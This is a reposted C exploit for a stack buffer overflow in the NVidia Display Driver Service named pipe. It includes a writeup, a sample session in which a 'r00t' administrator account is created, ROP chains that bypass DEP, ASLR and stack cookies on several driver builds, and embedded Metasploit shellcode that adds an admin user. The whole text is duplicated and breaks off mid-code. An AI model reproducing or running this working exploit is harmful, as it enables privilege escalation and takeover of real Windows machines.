转：NVidia Display Driver Service (Nsvr) Exploit - C

/*  

NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012  
- Bypass DEP + ASLR + /GS + CoE  
=============================================================  
(@peterwintrsmith)  

** Initial release 25/12/12  
** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks  
@seanderegge!  

Hey all!  

Here is an interesting exploit for a stack buffer overflow in the NVidia  
Display Driver Service. The service listens on a named pipe (\pipe\nsvr)  
which has a NULL DACL configured, which should mean that any logged on user  
or remote user in a domain context (Windows firewall/file sharing  
permitting) should be able to exploit this vulnerability.  

The buffer overflow occurs as a result of a bad memmove operation, with the  
stack layout effectively looking like this:  

[locals]  
[received-data]  
[response-buf]  
[stack cookie]  
[return address]  
[arg space]  
[etc]  

The memmove copies data from the received-data buffer into the response-buf  
buffer, unchecked. It is possible to control the offset from which the copy  
starts in the received-data buffer by embedding a variable length string -  
which forms part of the protocol message being crafted - as well as the  
number of bytes copied into the response buffer.  

The amount of data sent back over the named pipe is related to the number  
of bytes copied rather than the maximum number of bytes that the buffer is  
able to safely contain, so it is possible to leak stack data by copying  
from the end of the received-data buffer, through the response-buf buffer  
(which is zeroed first time round, and second time round contains whatever  
was in it beforehand), right to the end of the stack frame (including stack  
cookie and return address).  

As the entire block of data copied is sent back, the stack cookie and  
nvvsvc.exe base can be determined using the aforementioned process. The  
stack is then trashed, but the function servicing pipe messages won't  
return until the final message has been received, so it doesn't matter too  
much.  

It is then possible to exploit the bug by sending two further packets of  
data: One containing the leaked stack cookie and a ROP chain dynamically  
generated using offsets from the leaked nvvsvc.exe base (which simply fills  
the response-buf buffer when this data is echoed back) and a second packet  
which contains enough data to trigger an overwrite if data is copied from  
the start of the received-data buffer into the response-buf (including the  
data we primed the latter to contain - stack cookie and ROP chain).  

Allowing the function to then return leads to execution of our ROP chain,  
and our strategically placed Metasploit net user /add shellcode! We get  
continuation of execution for free because the process spins up a thread  
to handle each new connection, and there are no deadlocks etc.  

I've included two ROP chains, one which works against the nvvsvc.exe  
running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers  
from the Dell site, and one which works against the latest version of the  
drivers for the same card, from:  
http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m  
http://www.geforce.co.uk/drivers/results/54709  

Hope you find this interesting - it's a fun bug to play with!  

- Sample Session -  

C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators  
Alias name administrators  
Comment Administrators have complete and unrestricted access to the computer/domain  

Members  

-------------------------------------------------------------------------------  
Administrator  
Peter  
The command completed successfully.  

C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1  
** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **  
[@peterwintrsmith]  
- Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -  

Action 1 of 9: - CONNECT  

Action 2 of 9: - CLIENT => SERVER  
Written 16416 (0x4020) characters to pipe  

Action 3 of 9: - SERVER => CLIENT  
Read 16504 (0x4078) characters from pipe  

Action 4 of 9: Building exploit ...  
=> Stack cookie 0xe2e2893340d4:  
=> nvvsvc.exe base 0x13fb90000:  

Action 5 of 9: - CLIENT => SERVER  
Written 16416 (0x4020) characters to pipe  

Action 6 of 9: - SERVER => CLIENT  
Read 16384 (0x4000) characters from pipe  

Action 7 of 9: - CLIENT => SERVER  
Written 16416 (0x4020) characters to pipe  

Action 8 of 9: - SERVER => CLIENT  
Read 16896 (0x4200) characters from pipe  

Action 9 of 9: - DISCONNECT  

C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators  
Alias name administrators  
Comment Administrators have complete and unrestricted access to the computer/domain  

Members  

-------------------------------------------------------------------------------  
Administrator  
Peter  
r00t  
The command completed successfully.  

C:\Users\Peter\Desktop\NVDelMe1>  

*/  

#include <stdio.h>  
#include <Windows.h>  

enum  
EProtocolAction  
{  
ProtocolAction_Connect =  
0,  
ProtocolAction_Receive,  
ProtocolAction_Send,  
ProtocolAction_Disconnect,  
ProtocolAction_ReadCookie,  
};  

typedef  
struct {  
EProtocolAction Action;  
PBYTE Buf;  
DWORD Length;  
}  
ProtocolMessage;  

const int GENERIC_BUF_LENGTH = 0x10000;  

#define  
WriteByte(val) {buf[offs] = val; offs += 1;}  
#define WriteWord(val) {*(WORD  
*)(buf + offs) = val; offs += 2;}  
#define WriteDword(val) {*(DWORD *)(buf +  
offs) = val; offs += 4;}  
#define WriteBytes(val, len) {memcpy(buf + offs,  
val, len); offs += len;}  
#define BufRemaining() (sizeof(buf) -  
offs)  

DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD  
cbBuffer)  
{  
DWORD dwWritten = 0;  

if(WriteFile(hPipe, pBuffer,  
cbBuffer, &dwWritten, NULL))  
return dwWritten;  

return  
0;  
}  

DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL  
bTimeout = FALSE)  
{  
DWORD dwRead = 0, dwAvailable =  
0;  

if(bTimeout)  
{  
for(DWORD i=0; i < 30;  
i++)  
{  
if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable,  
NULL))  
goto  
Cleanup;  

if(dwAvailable)  
break;  

Sleep(100);  
}  

if(!dwAvailable)  
goto  
Cleanup;  
}  

if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead,  
NULL))  
goto Cleanup;  

Cleanup:  
return dwRead;  
}  

HANDLE  
EstablishPipeConnection(char *pszPipe)  
{  
HANDLE hPipe =  
CreateFileA(  
pszPipe,  
GENERIC_READ |  
GENERIC_WRITE,  
0,  
NULL,  
OPEN_EXISTING,  
0,  
NULL  
);  

if(hPipe  
== INVALID_HANDLE_VALUE)  
{  
return NULL;  
}  

return  
hPipe;  
}  

BYTE *BuildMalicious_LeakStack()  
{  
static BYTE  
buf[0x4020] = {0};  
UINT offs = 0;  

WriteWord(0x52);  

for(UINT  
i=0; i<0x2000;  
i++)  
WriteWord(0x41);  

WriteWord(0);  

WriteDword(0);  
WriteDword(0x4078);  

WriteDword(0x41414141);  
WriteDword(0x41414141);  
WriteDword(0x41414141);  
WriteDword(0x41414141);  
WriteDword(0x41414141);  

return  
buf;  
}  

BYTE *BuildMalicious_FillBuf()  
{  
static BYTE buf[0x4020]  
= {0};  
UINT offs = 0;  

WriteWord(0x52);  
WriteWord(0); //  
string  

WriteDword(0);  
WriteDword(0x4000);  

while(BufRemaining())  
WriteDword(0x43434343);  

return  
buf;  
}  

BYTE *BuildMalicious_OverwriteStack()  
{  
static BYTE  
buf[0x4020] = {0};  
UINT offs = 0;  

WriteWord(0x52);  
WriteWord(0); //  
string  

WriteDword(0);  
WriteDword(0x4340); // enough to copy shellcode  
too  

while(BufRemaining())  
WriteDword(0x42424242);  

return  
buf;  
}  

int main(int argc, char* argv[])  
{  
DWORD dwReturnCode =  
1, dwBytesInOut = 0;  
HANDLE hPipe = NULL;  
static BYTE  
rgReadBuf[GENERIC_BUF_LENGTH] = {0};  

printf(  
" ** Nvvsvc.exe Nsvr Pipe  
Exploit (Local/Domain) **\n"  
" [@peterwintrsmith]\n"  
" - Win7 x64 DEP +  
ASLR + GS Bypass - Christmas 2012 -\n"  
);  

if(argc <  
2)  
{  
printf("\tUsage: %s <ip>|local\n\n",  
argv[0]);  

printf(  
" !! If exploiting remotely, create a session with  
the target using your domain credentials !!\n"  
"\tCommand: net use  
\\\\target.ip\\ipc$ /u:domain\\user password\n"  
);  

goto  
Cleanup;  
}  

memset(rgReadBuf, 0,  
sizeof(rgReadBuf));  

ProtocolMessage rgConvoMsg[] =  
{  
{ProtocolAction_Connect, NULL, 0},  
{ProtocolAction_Send,  
BuildMalicious_LeakStack(), 0x4020},  
{ProtocolAction_Receive, {0},  
0x4200},  
{ProtocolAction_ReadCookie, {0}, 0},  
{ProtocolAction_Send,  
BuildMalicious_FillBuf(), 0x4020},  
{ProtocolAction_Receive, {0},  
0x4000},  
{ProtocolAction_Send, BuildMalicious_OverwriteStack(),  
0x4020},  
{ProtocolAction_Receive, {0},  
0x4200},  
{ProtocolAction_Disconnect, NULL, 0},  
};  

DWORD  
dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i =  
0;  
BOOL bTryAgain = FALSE;  
char szPipe[256] =  
{0};  

if(stricmp(argv[1], "local") == 0)  
strcpy(szPipe,  
"\\\\.\\pipe\\nvsr");  
else  
sprintf(szPipe, "\\\\%s\\pipe\\nvsr",  
argv[1]);  

while(i < dwNumberOfMessages)  
{  
printf("\n\tAction %u  
of %u: ", i + 1,  
dwNumberOfMessages);  

switch(rgConvoMsg[i].Action)  
{  
case  
ProtocolAction_Connect:  
printf(" - CONNECT\n");  

hPipe =  
EstablishPipeConnection(szPipe);  
if(!hPipe)  
{  
printf("!! Unable to  
create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(),  
GetLastError());  
goto Cleanup;  
}  

break;  
case  
ProtocolAction_Disconnect:  
printf(" -  
DISCONNECT\n");  

CloseHandle(hPipe);  
hPipe =  
NULL;  

break;  
case ProtocolAction_Send:  
printf(" - CLIENT =>  
SERVER\n");  

if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf,  
rgConvoMsg[i].Length)))  
{  
printf("!! Error writing to pipe\n");  
goto  
Cleanup;  
}  

printf("\t\tWritten %u (0x%x) characters to pipe\n",  
dwBytesInOut, dwBytesInOut);  

break;  
case  
ProtocolAction_Receive:  
printf("\t - SERVER =>  
CLIENT\n");  

if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf,  
rgConvoMsg[i].Length, FALSE)))  
{  
printf("!! Error reading from pipe (at  
least, no data on pipe)\n");  
goto Cleanup;  
}  

printf("\t\tRead %u  
(0x%x) characters from pipe\n", dwBytesInOut,  
dwBytesInOut);  

break;  
case ProtocolAction_ReadCookie:  

// x64  
Metasploit cmd/exec:  
// "net user r00t r00t00r! /add & net localgroup  
administrators /add"  
// exitfunc=thread  
char pb_NetAdd_Admin[] =  
""  
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"  
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"  
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"  
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"  
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"  
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"  
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"  
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"  
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"  
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"  
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"  
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"  
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"  
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"  
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"  
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"  
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"  
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"  
"\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"  
"\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"  
"\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"  
"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"  
"\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";  

printf("Building  
exploit ...\n");  
unsigned __int64 uiStackCookie = *(unsigned __int64  
*)(rgReadBuf + 0x4034);  
printf("\t\t => Stack cookie 0x%x%x:\n",  
(DWORD)(uiStackCookie >> 32),  
(DWORD)uiStackCookie);  

memcpy(rgConvoMsg[4].Buf + 0xc + 0xc,  
&uiStackCookie, 8);  

unsigned __int64 uiRetnAddress = *(unsigned  
__int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;  

//  
Perform some limited fingerprinting (my default install version, vs latest at  
time of testing)  
switch(uiRetnAddress & 0xfff)  
{  
case 0x640: //  
nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes -  
md5=3947ad5d03e6abcce037801162fdb90d  
{  
uiBase = uiRetnAddress -  
0x4640;  
printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase  
>> 32), (DWORD)uiBase);  

pRopChain = (unsigned __int64  
*)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));  

// Param 1: lpAddress [r11  
(near rsp) into rcx]  
pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e:  
mov rax, r11; retn  
pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64:  
mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn  
pRopChain[2] = 0; //  
Padding  
pRopChain[3] = 0; // ...  
pRopChain[4] = 0; // ...  
pRopChain[5]  
= 0; // ...  
pRopChain[6] = 0; // ...  
pRopChain[7] = uiBase + 0x7773; //  
nvvsvc.exe+0x7773: pop rax; retn  
pRopChain[8] = 0x1; // Param 2: dwSize [rdx  
= 1 (whole page)]  
pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov  
rdx, rax; mov rax, rdx; add rsp, 28h; retn  
pRopChain[10] = 0; //  
Padding  
pRopChain[11] = 0; // ...  
pRopChain[12] = 0; //  
...  
pRopChain[13] = 0; // ...  
pRopChain[14] = 0; // ...  
pRopChain[15] =  
uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn  
pRopChain[16] = 0x40; //  
Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]  
pRopChain[17] =  
uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn  
// Param 4:  
lpflOldProtect [r9 - already points at writable location]  
pRopChain[18] =  
uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry  
&VirtualProtect  
pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60:  
mov rax, [rax]; retn  
pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85:  
jmp rax  
pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp  
(return address from VirtualProtect)  

memcpy(pRopChain + 22,  
pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));  
}  
break;  
case 0x9f1: //  
nvvsvc.exe - 30 Aug 2012 - 891,240 bytes -  
md5=43f91595049de14c4b61d1e76436164f  
{  
uiBase = uiRetnAddress -  
0x39f1;  
printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase  
>> 32), (DWORD)uiBase);  

pRopChain = (unsigned __int64  
*)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));  

// Param 1: lpAddress [r11  
(near rsp) into rcx]  
pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36:  
mov rax, r11; retn  
pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c:  
mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn  
pRopChain[2] = 0; //  
Padding ...  
pRopChain[3] = 0; // ...  
pRopChain[4] = 0; //  
...  
pRopChain[5] = 0; // ...  
pRopChain[6] = 0; // ...  
pRopChain[7] =  
uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn  
pRopChain[8] = 0x1; //  
Param 2: dwSize [rdx = 1 (whole page)]  
pRopChain[9] = uiBase + 0x55dbf; //  
nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h;  
retn  
pRopChain[10] = 0; // Padding ...  
pRopChain[11] = 0; //  
...  
pRopChain[12] = 0; // ...  
pRopChain[13] = 0; // ...  
pRopChain[14] =  
0; // ...  
// Param 3: flNewProtect [r8 = 0x40  
(PAGE_EXECUTE_READWRITE)]  
pRopChain[15] = uiBase + 0xd202; //  
nvvsvc.exe+0xd202: pop rax; retn  
pRopChain[16] = 0x40; //  
PAGE_EXECUTE_READWRITE  
pRopChain[17] = uiBase + 0x8b92; //  
nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h;  
retn  
pRopChain[18] = 0; // Padding ...  
pRopChain[19] = 0; //  
...  
pRopChain[20] = 0; // ...  
pRopChain[21] = 0; // ...  
pRopChain[22] =  
0; // ...  
// Param 4: lpflOldProtect [r9 - already points at writable  
location]  
pRopChain[23] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax;  
retn  
pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect -  
0x130  
pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax,  
[rax+130h]; add rsp, 28h; retn  
pRopChain[26] = 0; // Padding  
...  
pRopChain[27] = 0; // ...  
pRopChain[28] = 0; // ...  
pRopChain[29] =  
0; // ...  
pRopChain[30] = 0; // ...  
pRopChain[31] = uiBase + 0x44ba6; //  
nvvsvc.exe+0x44ba6: jmp eax  
pRopChain[32] = uiBase + 0x77c59; //  
nvvsvc.exe+0x77c59: jmp esp  

memcpy(pRopChain + 33, pb_NetAdd_Admin,  
sizeof(pb_NetAdd_Admin));  
}  
break;  
case 0xa11: // nvvsvc.exe - 01 Dec  
2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b  
{  
uiBase =  
uiRetnAddress - 0x3a11;  
printf("\t\t => nvvsvc.exe base 0x%x%x:\n",  
(DWORD)(uiBase >> 32), (DWORD)uiBase);  

pRopChain = (unsigned  
__int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));  

// Param 1: lpAddress  
[r11 (near rsp) into rcx]  
pRopChain[0] = uiBase + 0x15b52; //  
nvvsvc.exe+0x15b52: mov rax, r11; retn  
pRopChain[1] = uiBase + 0x54d4c; //  
nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h;  
retn  
pRopChain[2] = 0; // Padding ...  
pRopChain[3] = 0; //  
...  
pRopChain[4] = 0; // ...  
pRopChain[5] = 0; // ...  
pRopChain[6] = 0;  
// ...  
pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add  
al, 0; pop rbp; retn  
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole  
page)]  
pRopChain[9] = 0; // Padding ...  
// Param 3: flNewProtect [r8 =  
0x40 (PAGE_EXECUTE_READWRITE)]  
pRopChain[10] = uiBase + 0xd33a; //  
nvvsvc.exe+0xd33a: pop rax; retn  
pRopChain[11] = 0x40; //  
PAGE_EXECUTE_READWRITE  
pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26:  
mov r8d, eax; mov eax, r8d; add rsp, 28h; retn  
pRopChain[13] = 0; // Padding  
...  
pRopChain[14] = 0; // ...  
pRopChain[15] = 0; // ...  
pRopChain[16] =  
0; // ...  
pRopChain[17] = 0; // ...  
// Param 4: lpflOldProtect [r9 -  
already points at writable location]  
pRopChain[18] = uiBase + 0xd33a; //  
nvvsvc.exe+0xd33a: pop rax; retn  
pRopChain[19] = uiBase + 0x91310; // IAT  
entry &VirtualProtect - 0x128  
pRopChain[20] = uiBase + 0x82851; //  
nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn  
pRopChain[21] =  
0; // Padding ...  
pRopChain[22] = 0; // ...  
pRopChain[23] = 0; //  
...  
pRopChain[24] = 0; // ...  
pRopChain[25] = 0; // ...  
pRopChain[26] =  
uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax  
pRopChain[27] = uiBase +  
0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn  

memcpy(pRopChain + 28,  
pb_NetAdd_Admin,  
sizeof(pb_NetAdd_Admin));  
}  
break;  
}  

break;  
}  

i++;  
}  

dwReturnCode  
= 0;  
Cleanup:  
if(hPipe)  
CloseHandle(hPipe);  

return  
dwReturnCode;  
}/*  

NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012  
- Bypass DEP + ASLR + /GS + CoE  
=============================================================  
(@peterwintrsmith)  

** Initial release 25/12/12  
** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks  
@seanderegge!  

Hey all!  

Here is an interesting exploit for a stack buffer overflow in the NVidia  
Display Driver Service. The service listens on a named pipe (\pipe\nsvr)  
which has a NULL DACL configured, which should mean that any logged on user  
or remote user in a domain context (Windows firewall/file sharing  
permitting) should be able to exploit this vulnerability.  

The buffer overflow occurs as a result of a bad memmove operation, with the  
stack layout effectively looking like this:  

[locals]  
[received-data]  
[response-buf]  
[stack cookie]  
[return address]  
[arg space]  
[etc]  

The memmove copies data from the received-data buffer into the response-buf  
buffer, unchecked. It is possible to control the offset from which the copy  
starts in the received-data buffer by embedding a variable length string -  
which forms part of the protocol message being crafted - as well as the  
number of bytes copied into the response buffer.  

The amount of data sent back over the named pipe is related to the number  
of bytes copied rather than the maximum number of bytes that the buffer is  
able to safely contain, so it is possible to leak stack data by copying  
from the end of the received-data buffer, through the response-buf buffer  
(which is zeroed first time round, and second time round contains whatever  
was in it beforehand), right to the end of the stack frame (including stack  
cookie and return address).  

As the entire block of data copied is sent back, the stack cookie and  
nvvsvc.exe base can be determined using the aforementioned process. The  
stack is then trashed, but the function servicing pipe messages won't  
return until the final message has been received, so it doesn't matter too  
much.  

It is then possible to exploit the bug by sending two further packets of  
data: One containing the leaked stack cookie and a ROP chain dynamically  
generated using offsets from the leaked nvvsvc.exe base (which simply fills  
the response-buf buffer when this data is echoed back) and a second packet  
which contains enough data to trigger an overwrite if data is copied from  
the start of the received-data buffer into the response-buf (including the  
data we primed the latter to contain - stack cookie and ROP chain).  

Allowing the function to then return leads to execution of our ROP chain,  
and our strategically placed Metasploit net user /add shellcode! We get  
continuation of execution for free because the process spins up a thread  
to handle each new connection, and there are no deadlocks etc.  

I've included two ROP chains, one which works against the nvvsvc.exe  
running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers  
from the Dell site, and one which works against the latest version of the  
drivers for the same card, from:  
http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m  
http://www.geforce.co.uk/drivers/results/54709  

Hope you find this interesting - it's a fun bug to play with!  

- Sample Session -  

C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators  
Alias name administrators  
Comment Administrators have complete and unrestricted access to the computer/domain  

Members  

-------------------------------------------------------------------------------  
Administrator  
Peter  
The command completed successfully.  

C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1  
** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **  
[@peterwintrsmith]  
- Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -  

Action 1 of 9: - CONNECT  

Action 2 of 9: - CLIENT => SERVER  
Written 16416 (0x4020) characters to pipe  

Action 3 of 9: - SERVER => CLIENT  
Read 16504 (0x4078) characters from pipe  

Action 4 of 9: Building exploit ...  
=> Stack cookie 0xe2e2893340d4:  
=> nvvsvc.exe base 0x13fb90000:  

Action 5 of 9: - CLIENT => SERVER  
Written 16416 (0x4020) characters to pipe  

Action 6 of 9: - SERVER => CLIENT  
Read 16384 (0x4000) characters from pipe  

Action 7 of 9: - CLIENT => SERVER  
Written 16416 (0x4020) characters to pipe  

Action 8 of 9: - SERVER => CLIENT  
Read 16896 (0x4200) characters from pipe  

Action 9 of 9: - DISCONNECT  

C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators  
Alias name administrators  
Comment Administrators have complete and unrestricted access to the computer/domain  

Members  

-------------------------------------------------------------------------------  
Administrator  
Peter  
r00t  
The command completed successfully.  

C:\Users\Peter\Desktop\NVDelMe1>  

*/  

#include <stdio.h>  
#include <Windows.h>  

enum  
EProtocolAction  
{  
ProtocolAction_Connect =  
0,  
ProtocolAction_Receive,  
ProtocolAction_Send,  
ProtocolAction_Disconnect,  
ProtocolAction_ReadCookie,  
};  

typedef  
struct {  
EProtocolAction Action;  
PBYTE Buf;  
DWORD Length;  
}  
ProtocolMessage;  

const int GENERIC_BUF_LENGTH = 0x10000;  

#define  
WriteByte(val) {buf[offs] = val; offs += 1;}  
#define WriteWord(val) {*(WORD  
*)(buf + offs) = val; offs += 2;}  
#define WriteDword(val) {*(DWORD *)(buf +  
offs) = val; offs += 4;}  
#define WriteBytes(val, len) {memcpy(buf + offs,  
val, len); offs += len;}  
#define BufRemaining() (sizeof(buf) -  
offs)  

DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD  
cbBuffer)  
{  
DWORD dwWritten = 0;  

if(WriteFile(hPipe, pBuffer,  
cbBuffer, &dwWritten, NULL))  
return dwWritten;  

return  
0;  
}  

DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL  
bTimeout = FALSE)  
{  
DWORD dwRead = 0, dwAvailable =  
0;  

if(bTimeout)  
{  
for(DWORD i=0; i < 30;  
i++)  
{  
if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable,  
NULL))  
goto  
Cleanup;  

if(dwAvailable)  
break;  

Sleep(100);  
}  

if(!dwAvailable)  
goto  
Cleanup;  
}  

if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead,  
NULL))  
goto Cleanup;  

Cleanup:  
return dwRead;  
}  

HANDLE  
EstablishPipeConnection(char *pszPipe)  
{  
HANDLE hPipe =  
CreateFileA(  
pszPipe,  
GENERIC_READ |  
GENERIC_WRITE,  
0,  
NULL,  
OPEN_EXISTING,  
0,  
NULL  
);  

if(hPipe  
== INVALID_HANDLE_VALUE)  
{  
return NULL;  
}  

return  
hPipe;  
}  

BYTE *BuildMalicious_LeakStack()  
{  
static BYTE  
buf[0x4020] = {0};  
UINT offs = 0;  

WriteWord(0x52);  

for(UINT  
i=0; i<0x2000;  
i++)  
WriteWord(0x41);  

WriteWord(0);  

WriteDword(0);  
WriteDword(0x4078);  

WriteDword(0x41414141);  
WriteDword(0x41414141);  
WriteDword(0x41414141);  
WriteDword(0x41414141);  
WriteDword(0x41414141);  

return  
buf;  
}  

BYTE *BuildMalicious_FillBuf()  
{  
static BYTE buf[0x4020]  
= {0};  
UINT offs = 0;  

WriteWord(0x52);  
WriteWord(0); //  
string  

WriteDword(0);  
WriteDword(0x4000);  

while(BufRemaining())  
WriteDword(0x43434343);  

return  
buf;  
}  

BYTE *BuildMalicious_OverwriteStack()  
{  
static BYTE  
buf[0x4020] = {0};  
UINT offs = 0;  

WriteWord(0x52);  
WriteWord(0); //  
string  

WriteDword(0);  
WriteDword(0x4340); // enough to copy shellcode  
too  

while(BufRemaining())  
WriteDword(0x42424242);  

return  
buf;  
}  

int main(int argc, char* argv[])  
{  
DWORD dwReturnCode =  
1, dwBytesInOut = 0;  
HANDLE hPipe = NULL;  
static BYTE  
rgReadBuf[GENERIC_BUF_LENGTH] = {0};  

printf(  
" ** Nvvsvc.exe Nsvr Pipe  
Exploit (Local/Domain) **\n"  
" [@peterwintrsmith]\n"  
" - Win7 x64 DEP +  
ASLR + GS Bypass - Christmas 2012 -\n"  
);  

if(argc <  
2)  
{  
printf("\tUsage: %s <ip>|local\n\n",  
argv[0]);  

printf(  
" !! If exploiting remotely, create a session with  
the target using your domain credentials !!\n"  
"\tCommand: net use  
\\\\target.ip\\ipc$ /u:domain\\user password\n"  
);  

goto  
Cleanup;  
}  

memset(rgReadBuf, 0,  
sizeof(rgReadBuf));  

ProtocolMessage rgConvoMsg[] =  
{  
{ProtocolAction_Connect, NULL, 0},  
{ProtocolAction_Send,  
BuildMalicious_LeakStack(), 0x4020},  
{ProtocolAction_Receive, {0},  
0x4200},  
{ProtocolAction_ReadCookie, {0}, 0},  
{ProtocolAction_Send,  
BuildMalicious_FillBuf(), 0x4020},  
{ProtocolAction_Receive, {0},  
0x4000},  
{ProtocolAction_Send, BuildMalicious_OverwriteStack(),  
0x4020},  
{ProtocolAction_Receive, {0},  
0x4200},  
{ProtocolAction_Disconnect, NULL, 0},  
};  

DWORD  
dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i =  
0;  
BOOL bTryAgain = FALSE;  
char szPipe[256] =  
{0};  

if(stricmp(argv[1], "local") == 0)  
strcpy(szPipe,  
"\\\\.\\pipe\\nvsr");  
else  
sprintf(szPipe, "\\\\%s\\pipe\\nvsr",  
argv[1]);  

while(i < dwNumberOfMessages)  
{  
printf("\n\tAction %u  
of %u: ", i + 1,  
dwNumberOfMessages);  

switch(rgConvoMsg[i].Action)  
{  
case  
ProtocolAction_Connect:  
printf(" - CONNECT\n");  

hPipe =  
EstablishPipeConnection(szPipe);  
if(!hPipe)  
{  
printf("!! Unable to  
create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(),  
GetLastError());  
goto Cleanup;  
}  

break;  
case  
